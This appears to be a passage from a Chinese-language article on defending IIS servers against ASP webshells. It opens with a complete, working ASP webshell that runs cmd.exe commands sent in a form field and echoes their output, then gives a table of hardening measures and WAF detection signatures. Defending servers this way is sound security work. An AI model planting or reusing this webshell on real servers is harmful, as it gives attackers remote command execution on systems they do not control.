<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD <> "" Then
szTempFile = "C:" & oFileSys.GetTempName()
oScript.Run "cmd.exe /c " & szCMD & " > " & szTempFile, 0, True
Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
oFileSys.DeleteFile szTempFile, True
End If
%>
原理:`Server.CreateObject("WSCRIPT.SHELL")` 依賴 ProgID 解析 CLSID,註冊表項不存在 → `CreateObject` 失敗 → 木馬核心邏輯斷鏈。
| 層面 | 措施 | 工具/配置 |
|---|---|---|
| IIS 設置 | 禁用父路徑、腳本目錄執行權限「僅腳本」、請求篩選規則攔截 .asp/.asa/.cer/.cdx 上傳 | IIS 管理器、web.config `requestFiltering` |
| 應用程式池 | 獨立身份、最低權限、啟用 `loadUserProfile=false`、設置 CPU/內存/請求限制 | IIS 管理器 → 應用程式池 → 進階設置 |
| 文件系統 ACL | Web 目錄**僅授予 IIS_IUSRS 讀/執行,嚴禁寫入**;上傳目錄單獨隔離、禁用腳本執行、定期掃描 | icacls、文件夾屬性→安全 |
| 組件註冊表 | **刪除/禁用** `WScript.Shell`、`Shell.Application`、`Scripting.FileSystemObject`、`ADODB.Stream`、`WScript.Network` 等高危 ProgID | regedit + ACL、PowerShell 腳本化巡檢 |
| WAF/研判 | 部署 ModSecurity/OpenResty WAF,規則集覆蓋 WebShell 特徵(`Server.CreateObject`、`eval`、`execute`、`Request.Form` 等) | OWASP CRS、長亭/安恒/知道創宇規則 |
| 運行時保護 | 部署 **RASP (Runtime Application Self-Protection)** 探針,Hook 危險 API 調用鏈,實時阻斷 | OpenRASP、百度開源 RASP、商業產品 |
| 審計與應急 | 啟用 IIS 詳細日誌 (W3C 擴展字段)、ETW 事件追蹤、文件完整性監控 (FIM)、定期應急演練 | Log Parser、Splunk/ELK、Tripwire/AIDE |
ASP WebShell 的本質是 **「合法業務代碼調用高危系統組件」**。**殺毒軟體查不殺、WAF 攔不住、代碼審計漏得過**,唯有**從組件註冊表源頭斷開 COM 對象可用性**,結合 **最小權限原則 + 目錄寫入隔離 + 運行時行為審計**,才能將風險壓縮至可接受水平。對於虛擬主機服務商,**統一禁用高危 ProgID + 強制目錄權限模板 + 定期滲透測試** 是底線要求。